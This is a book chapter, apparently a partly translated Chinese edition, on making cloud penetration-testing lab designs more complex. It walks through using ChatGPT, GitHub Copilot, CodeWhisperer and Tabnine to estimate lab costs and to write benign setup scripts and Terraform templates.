GitHub Copilot已设置并配置与 VS Code – 请使用以下链接注册免费试用订阅(个人版 Copilot):github.com/features/copilot。确保安装并完全配置了 GitHub Copilot 扩展。你可以查看以下链接了解更多信息:docs.github.com/en/copilot/getting-started-with-github-copilot?tool=vscode。 -
GitHub Copilot Labs已设置并配置与 VS Code – 请使用以下链接注册:githubnext.com/projects/copilot-labs/。确保安装并完全配置了 GitHub Copilot Labs 扩展。你可以查看以下链接了解更多信息:marketplace.visualstudio.com/items?itemName=GitHub.copilot-labs。 -
Amazon CodeWhisperer配置并与 VS Code 配合使用 – 我们将使用CodeWhisperer Professional版进行单用户使用 (aws.amazon.com/codewhisperer/pricing/)。在我们安装并配置 CodeWhisperer 扩展到 VS Code 之前,我们需要完成以下步骤:(1) 启用 IAM 身份中心 并创建 AWS 组织,(2) 创建 IAM 组织用户,(3) 为单个用户设置 CodeWhisperer,(4) 设置AWS Toolkit与 VS Code 配合使用 (aws.amazon.com/visualstudiocode/)。确保安装并完全配置了 CodeWhisperer 扩展。你可以查看以下链接获取更多信息:docs.aws.amazon.com/codewhisperer/latest/userguide/whisper-setup-prof-devs.html。 -
Tabnine Pro配置并与 VS Code 配合使用 – 使用以下链接注册免费试用订阅(Pro):www.tabnine.com/pricing。确保安装并完全配置了 Tabnine 扩展。你可以查看以下链接获取更多信息:www.tabnine.com/install/vscode。 -
ChatGPT Plus账户 – 使用以下链接注册账户:chat.openai.com/auth/login。由于我们将在本章中使用 高级数据分析 功能,因此需要升级我们的计划为ChatGPT Plus,以便我们能够访问 GPT-4 以及其他仅对 ChatGPT Plus 用户提供的 beta 功能。
一旦这些准备就绪,你可以继续进行下一步。如果你不打算长期使用这些订阅,可以在完成本章中的实践示例后,随时取消订阅或降级当前的计划。
注意
为了避免与新添加的扩展产生冲突,你可以暂时禁用 VS Code 中所有已安装的扩展。怎么做? 点击 VS Code 窗口左侧边栏中的 扩展 图标。在 扩展 视图中,点击右上角的三个点(···)按钮,然后从上下文菜单中选择 禁用所有已安装扩展。不用担心,因为我们可以稍后轻松启用这些扩展。欲了解更多信息,可以查看以下链接:code.visualstudio.com/docs/editor/extension-marketplace。
本书中每章使用的源代码和其他文件可以在该书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。
增加渗透测试实验室环境的复杂度
如果你曾经去过一个攀岩(室内岩壁)馆,你会发现渗透测试实验室环境与充满各种难度攀岩墙的室内设施非常相似。就像室内攀岩馆为攀岩者提供了一个受控的环境,让他们锻炼和练习攀岩技巧一样,渗透测试实验室为网络安全专业人士提供了一个隔离的环境,用于练习和完善他们的黑客技术。这两种环境通过增加复杂性和难度,挑战用户,推动他们的极限。考虑到这些环境是为了模拟现实世界的挑战和障碍而建立的,我们应该预期这些环境会不断发展和增长复杂度,以便为用户提供新的挑战。
在本节中,我们将讨论如何进一步发展并增加我们在本书前几章中构建的渗透测试实验室环境的复杂性。让我们从我们在第四章中准备的实验室环境开始,设置隔离的渗透测试实验室环境 在 GCP 上。

图 9.1 – 我们在 GCP 中的渗透测试实验室环境的高层次图示
在这个实验室设置中,我们有一个隔离的网络,用来保护实验室环境资源免受外部攻击。这个隔离的网络环境由两个 VPC 组成,并且这两个 VPC 网络通过一个 VPC 对等连接桥接在一起。我们在第一个 VPC 内部署了一个目标虚拟机实例,而攻击者虚拟机实例则位于另一个 VPC 内。在目标虚拟机实例内部,我们有一个运行着故意存在漏洞的应用程序的容器,名为OWASP Juice Shop。虽然我们本可以在虚拟机实例中添加更多易受攻击的服务、应用程序和容器,但为了简化设置工作,我们决定只保留一个运行的容器。除此之外,我们还可以在 VPC 内启动更多的虚拟机实例。如果我们有更多的时间(以及更多的页面空间)来设置一个更复杂的 实验室环境,会怎么样呢?
让我们设想一个假想的实验室环境(类似于图 9.2中所示),该环境由运行在Google Cloud Platform(GCP)账户中的各种云资源组成。在这个新的实验室环境中,我们有三个虚拟机实例,它们分别运行着易受攻击的服务、应用程序和容器:(1) vm-target,(2) vm-target-02,和(3) vm-target-03。

图 9.2 – 渗透测试实验室环境的更复杂版本
第一个目标虚拟机实例(vm-target)类似于我们在第四章,在 GCP 上设置隔离渗透测试实验室环境中准备的目标虚拟机实例。为了增加一点趣味性,我们还将在这个实例(vm-target)内运行更多的容器,这些容器将运行存在漏洞的应用和服务。除此之外,类似于我们在第五章,在 Azure 上设置隔离渗透测试实验室环境中所做的,我们可以配置一些容器以--privileged标志运行。这将允许实验室用户练习容器突破技巧。第二个目标虚拟机实例(vm-target-02)是一个新的虚拟机实例,运行不同的操作系统。该实例将运行各种漏洞服务,不涉及容器。我们还有第三个目标虚拟机实例(vm-target-03),它运行一组不同的漏洞应用和服务。网络配置被设置为不允许攻击者虚拟机实例直接访问第三个目标虚拟机实例(vm-target-03)。这将迫使实验室用户先攻破第二个目标虚拟机实例(vm-target-02),并利用它访问第三个目标虚拟机实例(vm-target-03),这类似于我们在第六章,在 AWS 上设置隔离渗透测试实验室环境中设置的“横向渗透”实验。最后,通过第三个目标虚拟机实例(vm-target-03),可以通过服务账户访问一个带有旗标的云存储桶。
为了进一步增加实验环境的复杂性,我们可以将第三个目标虚拟机实例(vm-target-03)替换为一个设计上存在漏洞的Kubernetes集群环境,类似于图 9**.3所示:

图 9.3 – 包括一个设计上存在漏洞的集群环境
如果这是你第一次了解 Kubernetes,它是一个流行的开源容器编排系统,提供了一个框架来运行具有弹性的分布式系统。通过搭建这个设计上存在漏洞的 Kubernetes 集群,用户可以在隔离的环境中获得有关各种攻击场景的实践经验。在这个集群中,我们将涉及多种场景,包括OWASP Kubernetes Top 10中讨论的配置错误、风险和漏洞。这些场景可能包括过于宽松的基于角色的访问控制(RBAC)配置、破损的认证机制、不安全的工作负载配置导致的容器突破等。
注意
有关此主题的更多信息,请访问以下链接:owasp.org/www-project-kubernetes-top-ten/。
除了 Kubernetes 集群,我们还可以引入类似于图 9**.4所示的Windows Active Directory设置。

图 9.4 – 包括一个 Windows Active Directory 实验室
在这里,我们有两个 Windows 虚拟机实例,类似于我们在第八章中准备的内容,设计和构建易受攻击的 Active Directory 实验室。其中一个虚拟机实例将作为域控制器(vm-target-03),另一个则是作为工作站机器(vm-target-04),并且会加入到域中。当然,我们可以向这个设置中添加更多的机器,使实验室环境看起来更真实。为了增加一点难度,我们可以让 Windows 虚拟机实例不能直接从攻击者机器访问,并要求先让第二个目标虚拟机实例(vm-target-02)被攻破,再通过它来访问和攻击域控制器实例(vm-target-03)和工作站机器实例(vm-target-04)。
重要提示
在设计实验室环境时,必须考虑到所关注的渗透测试技能(或技术),因为根据我们希望实验室用户在实验室环境中执行的技术和操作,某些实验室组件是必需的。除此之外,了解谁将使用该实验室也非常重要,这有助于我们识别实验室用户的经验水平。这将帮助我们管理实验室环境中各个部分的不同难度等级。也就是说,我们可以通过添加 Web 应用防火墙来提高实验室中某些部分的复杂性和难度,让实验室用户能够练习更高级的 Web 渗透测试技术。我们还可以通过添加特定的资源,例如入侵防御系统(IPS),进一步提高难度,以便练习规避技术。
另一种可能性是拥有一个更复杂的实验室设置,包含所有这些内容!当然,这将涉及在实验室环境中运行云资源的显著更高成本。此外,我们还需要在自动化部署我们渗透测试实验室设置中的各种组件上投入更多时间。此时,您可能会想知道我们如何能显著加速复杂实验室环境的准备!好消息是,现在我们有了 AI 驱动的解决方案,可以帮助我们完成各种任务,比如估算渗透测试实验室成本、生成自动化脚本和基础设施即代码(IaC)模板,以及解释其他工程师和专业人士编写的现有代码。在本章的下一节中,我们将看到这一点的实际应用!
利用生成性 AI 来估算渗透测试实验室成本
我们设计渗透测试实验室环境的方式,可能会对在云中运行这些实验室的整体成本产生重大影响。某些实现方式和变化可能需要比其他方式更多的资源,这会导致成本增加。通过仔细考虑我们的实验室架构设计,我们可以找到在不影响渗透测试实验室环境的质量、性能和稳定性的情况下降低成本的机会。估算运行这些环境时的相关费用是另一个至关重要的方面,因为这可以帮助安全专业人员(和团队)规划预算,并在长期内维持可持续的实验室设置。
在第六章,在 AWS 上设置隔离的渗透测试实验室环境中,我们准备了一个实验室设置,可以在其中练习网络跳板技术。如果你已经忘记了,下面是一个简化的示意图,展示了我们的实验环境是什么样子的:

图 9.5 – 第六章中的实验环境设置
在这里,我们有一个攻击者虚拟机(VM)实例运行在一个 VPC 网络内,另外两个目标虚拟机(VM)实例运行在另一个 VPC 网络内。你是否曾经想过运行这个实验环境的费用是多少?虽然可以手动计算费用,但我们可以利用生成型 AI 工具、功能和插件来帮助我们自动估算和计算费用!
在第七章,设置 IAM 权限提升实验室中,我们首次探讨了如何利用生成型 AI 解决方案自动生成渗透测试模拟和活动的代码。这里还有更多内容!在本节中,我们将使用ChatGPT 高级数据分析帮助我们通过 Terraform 配置文件估算费用,这些文件用于生成实验环境。我们只需要输入正确的提示,让 AI 模型为我们生成费用计算和见解。很棒,对吧?
有了这些信息后,让我们继续估算运行实验环境相关的费用:
-
前往本书的 GitHub 仓库,找到我们用来为第六章,在 AWS 上设置隔离的渗透测试实验室环境准备实验环境时使用的 ZIP 文件。你可以使用以下链接帮助你找到该 ZIP 文件:
https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/blob/main/ch06/pentest_lab.zip找到并点击下载原始文件按钮(位于页面右上角的原始按钮附近)。这将把 GitHub 仓库中的
pentest_lab.zip文件下载到你的本地机器上。 -
在新的浏览器标签页中,使用以下 URL 访问你的
ChatGPT Plus账户:chat.openai.com/。确保在继续之前配置你的账户,启用高级数据分析功能。![]()
图 9.6 – 启用高级数据分析
启用高级数据分析将允许我们自动化复杂的数据计算,并从上传的文件中分析有价值的信息。没错,你没听错!我们可以上传文件并利用 AI 模型的能力生成详细分析、可视化趋势,并直接从上传的数据中提取有意义的模式。
重要提示
截至写作时,高级数据分析处于测试版阶段。等到你阅读这本书时,它可能已经脱离测试阶段了!
-
创建一个新的聊天会话并选择
GPT-4(或最新版本,仅对 ChatGPT Plus 用户可用):![]()
图 9.7 – 为我们的聊天会话选择 GPT-4 和高级数据分析
确保选择了高级数据分析(而不是默认),类似于我们在图 9.7中看到的那样。
-
点击
+按钮(在图 9.8中突出显示):![]()
图 9.8 – 上传 pentest_lab.zip 文件
上传我们在之前步骤中下载到本地计算机的
pentest_lab.zip文件。重要提示
现在不要按Enter键或点击发送消息按钮,因为我们将在下一步中指定提示。
-
在文本框中输入以下提示:
Analyze what this zip file contains然后按Enter键提交上传的文件和提示。这应该会生成类似于图 9.9所示的响应:
![]()
图 9.9 – 分析 ZIP 文件包含的内容
当被问到类似于你是否需要简要概述每个
文件的内容?的问题时,只需输入无需。
重要提示
请注意,即使使用相同的提示,你也可能会从 ChatGPT 获得不同的响应。话虽如此,随时可以根据需要修改和调整你的提示。
-
打开一个新的浏览器标签页,访问
instances.vantage.sh/。这应该会打开一个用于比较不同 EC2 实例类型的网页!图 9.10 – 用于比较不同 EC2 实例类型的网页
点击图 9.10中突出显示的导出按钮。这将把Amazon EC2 实例比较.csv文件下载到你本地计算机的下载文件夹(或其他文件夹)。
-
返回到我们打开 ChatGPT 会话的浏览器标签页。
-
现在,让我们计算在 Terraform 配置文件中指定的每个 EC2 实例的月度成本。我们可以通过上传Amazon EC2 实例比较.csv文件并输入以下提示来实现:
How many EC2 instances will be created overall (based from all files extracted from the pentest_lab.zip file)? Provide as much details as possible including cost per month. Use the uploaded Amazon EC2 Instance Comparison.csv as a reference when computing the overall cost.这将产生以下(最终)输出:
![]()
图 9.11 – EC2 实例的月度成本分解
在这里,我们可以看到 ChatGPT 成功地返回了我们之前上传的 ZIP 文件中 Terraform 配置文件中标识的 EC2 实例的月度成本细分。为了简化问题,我们只考虑了在本示例中运行 EC2 实例的成本。请注意,我们还必须考虑其他费用,以获取更准确的月度成本估算。这些包括数据传输费用、附加到 EC2 实例的 EBS 卷的存储成本,以及使用账户中其他服务可能产生的费用。
重要提示
通过确定实验室设置的哪些组件和资源对总成本贡献最大,我们可以将优化工作集中在这些领域,以实现最大的成本节约。
-
由于我们不计划资源运行一个整月,让我们输入以下提示,并指定我们只会让资源运行 6 小时:
Instead of a month, I'll be running the resources for 6 hours and then I'll destroy the resources. How much would it cost to run the resources?这应该产生类似于图
9.12 的响应:![]()
图 9.12 – 运行资源 6 小时而不是 1 个月的估算成本
这次,我们有运行 EC2 实例 6 小时的估算成本(而不是一个月)。很酷,对吧?
重要提示
管理成本最简单但最有效的方法之一是确保资源在未被积极使用时关闭或删除。实验环境通常由多个虚拟机、数据库和其他资源组成,这些资源对总成本的贡献最大。通过设置自动化脚本(用于创建和删除资源),我们可以确保这些资源仅在需要时运行。
-
让我们通过以下提示进一步生成条形图:
Generate a bar chart comparing the costs per Terraform file这应该给我们以下输出:
![]()
图 9.13 – 每个 Terraform 文件关联的成本的条形图比较
在这里,我们可以看到成本的大部分来自于
network_02.tf中定义的资源。再次注意,我们在生成条形图时仅考虑了运行 EC2 实例的成本。 -
为了帮助我们确定我们的 Terraform 文件中哪些代码块对总成本有贡献,请输入以下提示:
Identify which Terraform blocks of code have a contribution to the overall cost这应该给我们以下输出:
![]()
图 9.14 – 确定哪些代码块对总成本有贡献
看起来 ChatGPT 成功识别并提供了(简化的)与 EC2 实例成本相关联的资源块!
-
最后,让我们输入以下提示:
Update the previous answer by changing the instance type of the vm_kali EC2 instance from t3.medium to m5.large这应该返回以下响应:
![]()
图 9.15 – 检查更新实例类型对估算成本的影响
在图
9.15 中,我们可以看到与vm_kali资源相关的成本也已自动更新。为了适应各种工作负载,云服务商提供了性能水平和成本各不相同的实例类型。通过正确评估将要在云资源中运行的应用程序、服务和工具的性能要求,我们将能够选择合适的实例类型。这样,我们就能做出明智的决策,帮助我们有效管理和大幅减少成本。
重要说明
除了使用 Terraform 配置文件创建的初始资源外,我们还必须考虑实验室环境用户可能创建的任何额外资源(在他们使用实验室时)。如果实验室环境用户能够创建可能非常昂贵的云资源呢?如果用户生成了大量网络流量呢?在一个允许用户创建云资源的实验室环境中,至关重要的是要实施安全措施,以防止意外或故意的过度支出。
到这个阶段,我们应该已经有了一个很好的思路,如何利用生成性人工智能解决方案来估算在云中运行渗透测试实验室环境的成本。我们刚刚讨论的示例场景只是生成性人工智能的众多实际应用之一。值得注意的是,人工智能驱动的解决方案的能力远远超出这一示例场景!在本章的后续部分,我们将看到更多相关内容。
利用人工智能驱动的工具释放其潜力,加速自动化脚本开发
完全自动化创建和删除渗透测试实验室环境,将大大帮助我们降低在云中运行这些实验室环境的成本。尽管潜在的好处是不可否认的,但实际上,完全 自动化 实验室环境的准备工作并不像听起来那么简单。编写自动化脚本需要时间、技能和精力,有时可能需要一个经验丰富(且昂贵)的工程师团队来确保任务的顺利完成。
或许人工智能驱动的工具能帮忙!除了 ChatGPT,还有许多其他人工智能解决方案可以帮助我们显著加快渗透测试实验室环境自动化脚本的准备过程。在这一部分,我们将深入了解GitHub Copilot、Amazon CodeWhisperer 和 Tabnine 等人工智能驱动的工具,看看它们如何帮助我们加速自动化脚本开发。这些前沿工具利用机器学习和自然语言处理技术加速代码编写和脚本开发过程。这些工具通过建议代码片段、自动完成代码行,甚至通过注释生成代码块来帮助开发人员。很神奇吧?
重要说明
确保你已按照本章开始部分的技术要求部分,完全设置好GitHub Copilot、Amazon CodeWhisperer和Tabnine扩展。这些扩展的设置和所有先决条件可能需要大约 15 分钟来完成。
让我们在接下来的步骤中看到这些 AI 驱动的工具是如何工作的。
第一部分/共 3 部分 – 利用 GitHub Copilot 加速 Shell 脚本编写
现在,让我们尝试使用 GitHub Copilot 来帮助加速准备一个示例脚本,该脚本可以在我们的 GCP 账户中创建特定的实验环境资源:
-
让我们首先确保禁用所有 VS Code 扩展。这将帮助防止与新添加的 AI 扩展发生冲突!
图 9.16 – 在 VS Code 中禁用所有已安装的扩展
点击 VS Code 窗口左侧边栏的扩展图标。在扩展视图中,点击三个点(···)按钮,并从右键菜单中选择禁用所有已安装的扩展。
注意
随时查看code.visualstudio.com/docs/editor/extension-marketplace以了解有关此主题的更多信息。
-
现在,让我们启用 GitHub Copilot 扩展。在扩展:市场视图中,我们应该能看到顶部的搜索框。在这个搜索框中输入
GitHub Copilot来找到我们需要启用的扩展!图 9.17 – 启用 GitHub Copilot 扩展
浏览扩展列表,找到
GitHub Copilot扩展。右键点击该扩展,然后从右键菜单中选择启用。
注意
在继续之前,确保设置已完成。在某些情况下,VS Code 可能会提示你重新启动应用程序。如果出现提示,请重新启动 VS Code。
-
在启用我们的 AI 扩展后,让我们继续创建一个名为
copilot.sh的新文件。 -
在我们脚本文件的第一行输入以下内容:
#!/bin/bash -
接下来,添加以下代码行(在第二行或第三行):
BUCKET_NAME=<BUCKET NAME>确保将
<BUCKET NAME>替换为一个全球唯一的桶名称(用于尚未创建的桶)。 -
在第四或第五行,输入以下单行注释:
# Create a new Google Cloud Storage bucket using the gsutil command此时,我们的
copilot.sh脚本文件应类似于图 9.18中所示:![]()
图 9.18 – 输入单行注释
在这里,你可以看到我们已经为
<BUCKET NAME>占位符指定了my-sample-bucket-abc123。 -
按下Enter键。你应该看到以下自动生成的建议代码:
![]()
图 9.19 – Copilot 建议一行代码
在这里,我们可以看到 GitHub Copilot 建议将
gsutil mb gs://$BUCKET_NAME作为脚本文件中的下一行!
注意
请注意,在此示例中工作时,您可能会收到不同的建议。
-
按Tab键接受建议并完成代码。
-
现在,添加以下代码行(在我们文件中现有的代码行之后):
echo "FLAG!" > flag.txt -
接下来,输入以下单行注释(在新的一行中):
# Upload the flag.txt file to the Cloud Storage bucket按Enter键。你应该会看到以下建议的代码自动生成:
![]()
图 9.20 – Copilot 建议一行代码
在这里,我们可以看到 GitHub Copilot 为我们脚本文件中的下一行代码建议了
gsutil cp flag.txt gs://$BUCKET_NAME!
重要提示
不要按Tab键,因为我们将首先检查其他建议!
-
按右箭头键(→)几次查看其他建议,类似于我们在图 9.21中的内容:
![]()
图 9.21 – 使用箭头键检查其他建议
按Tab键接受建议并完成代码。此时,我们已经准备好了一个小脚本!重要的是要注意,AI 工具/扩展生成的代码可能并不总是有效。使用之前,务必仔细检查、运行和测试生成的代码。
注意
本书中我们不会讨论 GitHub Copilot 的所有功能。请随时查看以下视频(开始使用编程的未来:GitHub Copilot)以获取更多关于此主题的信息:www.youtube.com/watch?v=Fi3AJZZregI。
第二部分中的第三部分 – 使用 Amazon CodeWhisperer 加速 Python 编码
现在,让我们尝试使用 Amazon CodeWhisperer 在编写我们在第七章中准备的部分脚本时提供帮助,设置 IAM 权限升级实验:
-
让我们首先确保禁用所有 VS Code 扩展,以避免与新添加的 AI 扩展发生任何冲突。点击 VS Code 窗口左侧边栏中的扩展图标。在扩展视图中,点击三个点(···)按钮,然后从上下文菜单中选择禁用所有已安装的扩展。
-
现在,让我们启用
AWS Toolkit扩展。在扩展:市场视图中,我们应该能看到顶部的搜索栏。在搜索栏中输入CodeWhisperer以定位我们需要启用的扩展。![]()
图 9.22 – 启用 AWS Toolkit 扩展
向下滚动扩展列表,找到
AWS Toolkit扩展。右键点击该扩展,然后从上下文菜单中选择启用。
注意
当提示出现连接已过期。要继续使用 CodeWhisperer,请使用 AWS Builder ID 或 AWS IAM 身份中心进行连接。时,点击与 AWS 连接按钮,并确保在继续之前完成设置。
-
在我们的 AI 扩展已经启用的情况下,接下来创建一个名为
whisperer.py的新文件。 -
让我们从输入以下单行注释开始(在第一行):
# Function that uses boto3 to return the STS caller identity -
按Enter键。你应该会看到以下建议的代码(或类似的代码)被自动生成:
get_caller_identity():请注意,在进行此示例时,你可能会得到不同的建议。
重要提示
现在不要按Tab键,因为我们将首先检查其他建议!
-
按右箭头键(→)几次,以查看其他建议,类似于图 9.23中的内容:
![]()
图 9.23 – 使用箭头键检查其他建议
在这里,我们可以看到,接受当前建议的代码块会自动添加
import boto3。 -
按Tab键接受建议并完成代码。
-
在新的一行中,输入
if并在其后加一个空格(类似于图 9.24中的显示)。你应该会看到 Amazon Whisperer 建议几行代码,这些代码将调用我们刚定义的函数:![]()
图 9.24 – 来自 Amazon CodeWhisperer 的更多代码建议
按Tab键接受建议并完成代码。此时,我们已准备好一个小型 Python 脚本!需要注意的是,AI 工具和扩展生成的代码可能并不总是有效。务必在实际项目中使用之前,仔细审查、运行并测试所生成的代码。
注
本书中我们不会深入探讨 Amazon CodeWhisperer 的功能。您可以查看以下视频(Amazon CodeWhisperer 概述)了解更多关于此主题的信息:www.youtube.com/watch?v=j8BoVmHKFlI。
第三部分,共 3 部分 – 使用 Tabnine Pro 更快编写 PowerShell 脚本
现在,让我们尝试使用 Tabnine Pro 加速准备一个示例 PowerShell 脚本,该脚本可以帮助我们审查和管理我们 Microsoft Azure 账户中的资源:
-
首先,确保禁用所有 VS Code 扩展,以避免与新添加的 AI 驱动扩展发生冲突。点击 VS Code 窗口左侧边栏中的扩展图标。在扩展视图中,点击三点(···)按钮,从上下文菜单中选择禁用所有已安装的扩展。
-
现在,让我们启用
Tabnine扩展。在扩展:市场视图中,我们应该看到顶部有一个搜索框。在这个搜索框中输入Tabnine,以找到我们需要启用的扩展。![]()
图 9.25 – 启用 Tabnine 扩展
滚动浏览扩展列表,找到
Tabnine: AI Autocomplete & Chat for Javascript, Python, Typescript, PHP, Go, Java & more扩展。右键点击该扩展,然后从上下文菜单中选择启用。
注
在继续之前,确保设置已经完成。在某些情况下,VS Code 可能会提示你重新启动应用程序。如果有提示,请继续并重新启动 VS Code。
-
在我们的 AI 扩展已经启用的情况下,接下来我们将创建一个名为
tabnine.ps1的新文件。 -
在我们的脚本的第一行键入以下单行注释:
# List all resource groups in the Azure account using the Azure CLI -
按下Enter。你应该会看到以下自动生成的建议代码(或类似代码):
az group list --output table很棒吧?
注意
请注意,在进行此示例时,您可能会收到不同的建议。
-
按下Tab键接受建议并完成代码。
-
现在,在新的一行中键入以下注释:
# For each resource group, list down all resources inside -
按下Enter。你应该会看到自动生成的以下建议代码:
![]()
图 9.26 – Tabnine 建议的代码行
在这里,我们可以看到 Tabnine 生成的一个建议。请注意,在进行此示例时,您可能会收到不同的建议。
重要提示
还不要按Tab,因为我们将先检查其他建议!
-
按下右箭头键(→)几次,以查看其他建议,类似于图 9.27中所示:
![]()
图 9.27 – 使用箭头键检查其他建议
按下Tab键接受类似于图 9.27中所示的建议。如果末尾有一行多余的三重反引号(`````), feel free to delete the extra line manually. At this point, we have a small PowerShell script ready for use! It is important to note that the code generated by the AI tool/extension may not always work. Make sure to review, run, and test the code generated thoroughly before using it in a real project.
Note
We won’t dive deep into the features of Tabnine in this book. Feel free to check the following video (Become a Tabnine expert in 40 minutes!) for more information about this topic: www.youtube.com/watch?v=XXERCwezdsQ.
At this point, we should have a good idea of how to use AI-powered tools to accelerate the preparation of automation scripts for building our penetration testing lab environments. Given the time-consuming nature of manually coding automation scripts, these tools will allow us to build complex lab environments faster. In addition to using AI-powered tools that suggest blocks of code automatically for us, we can also utilize various tools that automatically format our code to help us manage and maintain code quality. By using these tools, we can reduce potential errors and enhance the overall readability of our code as well.
In the next section, we will take a closer look at how AI-powered solutions can automatically generate IaC templates for us. In addition to this, we’ll see how these solutions can also be used to explain existing code prepared by other engineers or developers.
Using AI-powered solutions to generate and explain IaC template code
In the previous chapters of this book, we manually prepared the Terraform template code for setting up various penetration testing lab environments on AWS, Azure, and GCP. If you’ve actually worked on the hands-on examples and solutions in the previous chapters, you are probably aware that it takes a significant amount of time to code and prepare these IaC templates from scratch! To accelerate the preparation of IaC template code, we can use AI-powered solutions to generate code automatically using the right set of prompts. In addition to this, we can use these tools to explain existing code as well.
In this section, we will take a closer look at how AI-powered solutions such as ChatGPT and GitHub Copilot Labs can be used to generate and explain IaC template code. You’ll see how we can use these tools to significantly speed up the process of reading and writing code.
Important note
Make sure that you have a ChatGPT Plus** account ready before proceeding. In addition to this, make sure that the **GitHub Copilot Labs extension is set up (completely), as specified in the Technical requirements section at the start of this chapter.
Let’s proceed with using these AI-powered tools in the next set of steps.
Part 1 of 2 – Using ChatGPT to generate Terraform templates
-
In a new browser tab, access your
ChatGPT Plus** account using the following URL: [chat.openai.com/](https://chat.openai.com/). Ensure that you configure your account to have **Advanced Data Analysisenabled before proceeding. -
Create a new chat session and select
GPT-4(or the latest model available exclusively to ChatGPT Plus users):![]()
Figure 9.28 – Selecting GPT-4 and Advanced Data Analysis for our chat session
Make sure that
Advanced Data Analysis** is selected (instead of **Default**), similar to what we have in *Figure 9.28*. -
Now, type the following prompt inside the text bar:
生成 Terraform 代码以在 GCP 中创建以下资源: - 一个名为 vpc-01 的 VPC,包含一个子网 subnet-01 - VPC vpc-01 的自动创建子网配置应设置为 false - 子网 subnet-01 应具有以下 IP CIDR 范围:10.1.0.0/20 确保生成的 Terraform 代码有效Press the Enter key afterward to submit the prompt. This should yield a response similar to what is shown in Figure 9**.29:
![]()
Figure 9.29 – Generating Terraform template code using ChatGPT
Here, we can see that ChatGPT was able to generate the Terraform template code using the prompt we just submitted. Amazing, right?
-
Let’s build on top of the previous answer and enter the following prompt:
使用“us-central1”作为区域来更新之前的答案This will yield the following response from ChatGPT:
![]()
Figure 9.30 – Building on top of the previous answer
We can see in Figure 9**.30 that we were able to successfully modify the code from the previous answer using the prompt we just entered.
-
Finally, let’s have ChatGPT draw a diagram for us using the following prompt:
绘制一张图来帮助可视化这个网络环境的样子This should give us the following output:
![]()
Figure 9.31 – Network environment diagram
Here, we can see that ChatGPT is able to draw a simple diagram to help us visualize what our network environment looks like. You may click the
Show workbutton to view the code used to construct the diagram.
Important note
Feel free to use Terraform to convert the generated template code into actual resources in your GCP account. Note that the Compute Engine API** must first be enabled before using the **terraform apply command to create the resources.
Part 2 of 2 – Using GitHub Copilot Labs to explain existing Terraform templates
Now, let’s use GitHub Copilot Labs to explain the existing Terraform template code. Let’s start by making sure that all VS Code extensions are disabled to avoid any conflict that may arise with the newly added AI-powered extensions:
-
Click on the
Extensions** icon in the sidebar on the left side of the VS Code window. In the **Extensions** view, click the three dots (···) button and select **Disable All Installed Extensionsfrom the list of options available in the context menu. -
Now, let’s enable the GitHub Copilot Labs extension. In the
EXTENSIONS: MARKETPLACE** view, we should see a search bar at the top. Type **GitHub Copilot Labsin this search bar to locate the extension we need to enable.![]()
Figure 9.32 – Enabling the GitHub Copilot Labs extension
Scroll through the list of extensions to find the
GitHub Copilot Labs** extension. Right-click on the extension and then select **Enablefrom the list of options available in the context menu.
Note
Make sure that the setup is complete before proceeding. In some cases, VS Code may prompt you to restart the application. If prompted, go ahead and restart VS Code.
-
With the extension enabled, let’s proceed by creating a new file in VS Code named
copilot_labs.tf. -
Navigate to this book’s GitHub repository and locate the resource block for defining the attacker VM instance in Chapter 4, Setting Up Isolated Penetration Testing Lab Environments on GCP. Feel free to use the following link to help you locate the ZIP file:
https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/blob/main/ch04/pentest_lab/attacker_vm/main.tf -
将代码(从浏览器中)复制并粘贴到我们在前面步骤中创建的
copilot_labs.tf文件(在 VS Code 中)。 -
点击 VS Code 窗口左侧边栏中的
GitHub Copilot Labs图标。 -
突出显示创建
vm-kali攻击者虚拟机实例的资源块对应的代码:![]()
图 9.33 – 使用 GitHub Copilot Labs 解释突出显示的代码
确保在点击
Ask Copilot按钮之前选择了Explain code。点击Ask Copilot按钮将产生以下结果:![]()
图 9.34 – 点击 Ask Copilot 按钮后的结果
在这里,我们可以看到我们能够使用 GitHub Copilot 来帮助我们解释和说明现有的代码块。试想一下在更长、更复杂的代码库中使用这个工具!很棒吧?阅读代码和编写代码同样重要。当你在构建复杂的渗透测试实验室环境时,与更大的团队合作,你会意识到你花更多时间阅读代码(由其他成员编写)而不是编写新的代码。
重要提示
我们在本书中不会深入探讨 GitHub Copilot Labs 扩展的功能。如果您需要更多信息,请随时查看以下链接:githubnext.com/projects/copilot-labs/。
到目前为止,我们应该已经对 AI 驱动的工具如何帮助我们更快地读取和编写 IaC 模板代码有了一个清晰的了解。在本节结束之前,重要的是要注意,尽管这些工具确实能加速代码的生成和解释,但它们的输出有时可能包含不准确、次优配置甚至安全漏洞。因此,在使用这些工具时,我们必须谨慎行事。
识别在构建和自动化实验室环境时需要考虑的相关事项和实际策略
本书已经进入最后一个主要章节!在本章前面的几个部分中,我们学习了如何使用各种 AI 驱动的解决方案和工具来加速和自动化构建实验室环境时的相关任务。除了我们已经讨论过的策略和解决方案外,在构建云端渗透测试实验室环境时,还有一些我们必须考虑的事项和推荐的实践。
这是设计实验室环境时我们应考虑和规划的事项的快速列表:
-
确定实验室的目的:在设计和构建实验室环境之前,重要的是我们要明确为何要构建实验室。我们需要了解实验室的使用目的,因为这将决定实验室环境所需的资源和配置。例如,可能我们是专门为漏洞开发而构建实验室环境。也许我们正在为红队和蓝队构建实验室环境,以模拟现实世界中的攻防场景。还可能我们是在构建一个实验室环境,用于测试 AI 驱动的渗透测试工具,如
PentestGPT。考虑到构建实验室的目的多种多样,明确并理解我们要设置的实验室目的非常重要,以便设计出最符合需求的环境。 -
确定实验室环境的用户数量:实验室资源可能由多个实验室用户共享(或不共享),这些用户扮演攻击者的角色。如果渗透测试实验室环境是共享的,那么运行实验室环境的整体成本可能会较低。然而,这可能会影响尝试攻击并妥协相同资源集的实验室用户的体验。
-
确定实验室环境的规模:渗透测试实验室环境不需要与企业公司的网络环境规模相同。这是因为拥有更多资源会带来更高的成本,尤其是在云中运行实验室环境时。
-
